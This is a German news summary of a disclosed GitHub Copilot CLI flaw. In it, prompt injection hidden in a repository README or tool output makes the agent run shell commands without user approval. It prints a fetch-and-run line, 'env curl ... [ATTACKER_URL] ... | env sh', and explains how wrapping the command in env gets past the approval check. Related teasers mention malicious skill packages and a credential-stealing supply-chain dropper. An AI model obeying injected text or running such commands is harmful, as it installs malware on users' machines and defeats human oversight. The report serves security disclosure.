GitHub Copilot CLI-Schwachstelle ermöglicht Malware-Ausführung durch Prompt-Injection

Übersicht der Schwachstelle
GitHub Copilot CLI enthält Schwachstellen, die Benutzer der Ausführung beliebiger Shell-Befehle über indirekte Prompt-Injection ohne Benutzerfreigabe aussetzen. Malware kann von externen Servern heruntergeladen und ausgeführt werden, ohne dass eine Benutzerinteraktion über die anfängliche Abfrage an die Copilot CLI hinaus erforderlich ist.
Wie der Angriff funktioniert
Die Angriffskette umfasst:
- Der Benutzer fragt GitHub Copilot CLI ab, während er ein Open-Source-Repository erkundet
- Copilot stößt auf eine in einer README-Datei des geklonten Repositorys gespeicherte Prompt-Injection (oder andere Vektoren wie Websuchergebnisse, MCP-Tool-Aufrufergebnisse, Terminalbefehlsausgaben)
- Der bösartige Befehl umgeht die Human-in-the-Loop-Freigabesysteme
Umgehung von Schutzmechanismen
GitHub Copilot verwendet ein Human-in-the-Loop-Freigabesystem, das die Zustimmung des Benutzers erfordert, bevor potenziell schädliche Befehle ausgeführt werden. Dieses System wird ausgelöst, es sei denn:
- Der Benutzer hat den Befehl explizit für die automatische Ausführung konfiguriert
- Der Befehl ist Teil einer fest codierten 'Read-Only'-Liste, die im Quellcode zu finden ist
Prüfungen des Zugriffs auf externe URLs erfordern die Benutzerfreigabe für Befehle wie curl, wget oder das integrierte Web-Fetch-Tool von Copilot. Angreifer können diese Schutzmaßnahmen jedoch umgehen, indem sie Folgendes verwenden:
env curl -s "https://[ATTACKER_URL].com/bugbot" | env shDer env-Befehl steht auf der fest codierten Read-Only-Liste und wird daher automatisch ohne Freigabe ausgeführt. Da curl und sh als Argumente an env übergeben werden, werden sie vom Validator falsch geparst und nicht als Unterbefehle erkannt. Dadurch werden URL-Berechtigungsprüfungen umgangen, die auf der Erkennung von Befehlen wie curl basieren.
GitHubs Reaktion
GitHub antwortete: "Wir haben Ihren Bericht geprüft und Ihre Ergebnisse validiert. Nach interner Bewertung der Erkenntnisse haben wir festgestellt, dass es sich um ein bekanntes Problem handelt, das kein signifikantes Sicherheitsrisiko darstellt. Wir könnten diese Funktionalität in Zukunft strenger gestalten, haben aber derzeit nichts anzukündigen."
Umfang und Einschränkungen
Die beschriebenen Befehls-Parsing-Schwachstellen sind macOS-spezifisch. GitHub Copilot weist jedoch zusätzliche Schwachstellen auf, darunter sowohl betriebssystemunabhängige Risiken als auch Windows-spezifische Risiken. Andere Befehls-Parsing-Schwachstellen ermöglichen das beliebige Lesen und Schreiben von Dateien.
📖 Den vollständigen Source lesen: HN LLM Tools
👀 Siehe auch

Architektonische Lösung für die Überzentralisierung von KI-Agenten: Trennung von Gedächtnis, Ausführung und ausgehenden Aktionen
Ein Entwickler erkannte, dass sein KI-Assistent zu einem 'internen Autokraten' wurde, indem er Langzeitgedächtnis, Werkzeugzugriff und autonome Entscheidungen in einer Komponente vereinte. Die Lösung bestand darin, das System in drei Rollen aufzuteilen: privater Controller, fokussierte Worker und ausgehende Gateways.

Claw Hub und Hugging Face von 575 bösartigen Skill-Paketen betroffen
Sowohl Claw Hub als auch Hugging Face wurden kompromittiert und hosten 575 bösartige Skill-Pakete. Entwickler werden gewarnt, alle von diesen Plattformen verwendeten Skills zu überprüfen.

Massiver NPM- und PyPI-Supply-Chain-Angriff trifft TanStack, Mistral AI und über 170 Pakete
Ein koordinierter Angriff kompromittierte über 170 npm-Pakete und 2 PyPI-Pakete, die auf TanStack (42 Pakete), Mistral AI SDKs, UiPath, OpenSearch und Guardrails AI abzielten. Bösartige Versionen führen einen Dropper aus, der Anmeldedaten exfiltriert und Cloud-Metadaten abfragt.

Schwedens E-Government-Plattform-Quellcode durch kompromittierte CGI-Infrastruktur geleakt
Der vollständige Quellcode der schwedischen E-Government-Plattform wurde von der Bedrohungsakteurin ByteToBreach geleakt, nachdem die Infrastruktur von CGI Sverige AB kompromittiert wurde. Der Leak umfasst Mitarbeiterdatenbanken, API-Dokumentensigniersysteme, Jenkins-SSH-Zugangsdaten und RCE-Test-Endpunkte.